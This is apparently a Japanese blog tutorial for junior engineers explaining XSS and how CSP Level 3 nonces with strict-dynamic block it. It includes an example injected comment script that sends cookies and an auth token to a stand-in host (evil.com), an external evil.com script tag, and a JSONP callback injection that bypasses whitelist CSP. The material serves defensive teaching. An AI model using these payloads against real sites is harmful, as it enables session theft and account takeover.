CSP Level 3によるXSS対策をわかりやすく解説!🛡️
この記事で学べること:
- CSPがなぜ必要なのか
- CSPがどのように動作するのか
- なぜCSP Level 3が画期的なのか
🚨 まず、XSS攻撃について理解しよう
XSS(クロスサイトスクリプティング)とは?
XSSは、Webアプリケーションの脆弱性を利用して、攻撃者が用意した悪意のあるJavaScriptを、他のユーザーのブラウザで実行させる攻撃です。
具体例:掲示板サイトでの攻撃
<!-- 普通のユーザーの投稿 -->
<div class="comment">
こんにちは!良い天気ですね。
</div>
<!-- 攻撃者の投稿(XSS攻撃) -->
<div class="comment">
こんにちは!<script>
// この悪意のあるスクリプトが実行されてしまう!
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage.getItem('authToken')
})
});
</script>
</div>
この攻撃が成功すると:
- 🍪 ログインクッキーが盗まれる
- 🔑 認証トークンが盗まれる
- 👤 なりすましでの投稿や操作が可能に
- 💳 最悪の場合、クレジットカード情報なども危険に
🛡️ CSPの基本的な仕組み
CSPとは何か?
CSP(Content Security Policy)は、ブラウザに対して「どのJavaScriptなら実行してよいか」を指示する仕組みです。
[Webサーバー] → CSPルールを送信 → [ブラウザ] → ルールに従ってスクリプトを制御
CSPなしの場合 vs CSPありの場合
CSPなしの場合(危険!)
<!-- すべてのスクリプトが無条件で実行される -->
<script>alert('正常なスクリプト')</script> ✅ 実行される
<script>alert('XSS攻撃!')</script> ✅ 実行される(危険!)
<script src="https://evil.com/hack.js"></script> ✅ 実行される(危険!)
CSPありの場合(安全!)
Content-Security-Policy: script-src 'self'
<!-- 自分のドメインのスクリプトのみ実行される -->
<script src="/js/app.js"></script> ✅ 実行される(自分のドメイン)
<script>alert('インライン')</script> ❌ ブロックされる
<script src="https://evil.com/hack.js"></script> ❌ ブロックされる
CSPの設定方法
CSPは、HTTPレスポンスヘッダーで設定します:
# 基本的な例
Content-Security-Policy: default-src 'self'
# より詳細な例
Content-Security-Policy:
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src *;
主要なディレクティブ:
script-src
: JavaScriptの読み込み元を制限style-src
: CSSの読み込み元を制限img-src
: 画像の読み込み元を制限default-src
: 指定されていないリソースのデフォルト設定
📚 CSPの歴史と問題点
Level 2まで:ホワイトリスト方式
従来は「信頼できるドメインのリスト」を作って、そこからのJavaScriptだけを許可する方式でした。
Content-Security-Policy: script-src 'self' https://trusted.example.com
この設定では、自分のサイトとtrusted.example.com
からのスクリプトのみ実行を許可します。
でも、実は穴だらけだった...😱
Googleの調査によると、94%のサイトが簡単に突破される状態でした!
なぜ突破されるの? - JSONPバイパスの仕組み
JSONPとは?
JSONPは、異なるドメイン間でデータをやり取りするための古い技術です。現在のCORS(Cross-Origin Resource Sharing)が登場する前に使われていました。
// 通常のAjax(同一オリジンポリシーでブロックされる)
fetch('https://api.example.com/data') // ❌ 他のドメインなのでエラー
// JSONPを使った回避方法
// 1. グローバル関数を定義
window.myCallback = function(data) {
console.log("データを受け取った:", data);
};
// 2. scriptタグで読み込む(scriptタグは他ドメインOK!)
<script src="https://api.example.com/jsonp?callback=myCallback"></script>
// 3. サーバーは関数呼び出しの形でレスポンスを返す
myCallback({"users": 100, "status": "ok"});
なぜJSONPがCSPを突破できるのか?
重要なポイント:callbackパラメータには任意の文字列を指定できる!
// 正常な使い方
https://trusted-cdn.com/jsonp?callback=myFunction
// レスポンス: myFunction({"data": "..."});
// 攻撃者の悪用
https://trusted-cdn.com/jsonp?callback=alert('XSS');//
// レスポンス: alert('XSS');//({"data": "..."});
// ↑ これが実行される! ↑ これはコメントになる
🚀 CSP Level 3 - 次世代のXSS対策
nonce + strict-dynamic
CSP Level 3では、nonce(Number used once)とstrict-dynamicの組み合わせで、より強固なセキュリティを実現します。
Level 3の特徴:
- ✅ 毎回異なるnonceで、攻撃者は推測不可能
- ✅ strict-dynamicで動的スクリプトも安全に実行
- ✅ JSONPバイパスも完全にブロック
- ✅ ドメインホワイトリストの管理が不要
実装例
// サーバー側でnonceを生成
const nonce = crypto.randomBytes(16).toString('base64');
// CSPヘッダーに設定
Content-Security-Policy: script-src 'nonce-${nonce}' 'strict-dynamic';
// HTMLのscriptタグに付与
<script nonce="${nonce}">
// あなたのコード
</script>
📊 まとめ
項目 | CSP Level 2 | CSP Level 3 |
---|---|---|
方式 | ドメインホワイトリスト | nonce + strict-dynamic |
JSONPバイパス | ❌ 脆弱 | ✅ 安全 |
管理の手間 | ドメインリストの管理が大変 | nonceの生成のみ |
動的スクリプト | 個別に対応が必要 | 自動的に信頼される |
🌟 最後に
CSPは「多層防御」の一部です。他のセキュリティ対策と組み合わせることで、より安全なWebアプリケーションを作ることができます。
エンジニア1年目の今から、セキュリティを意識したコーディングを心がけましょう!💪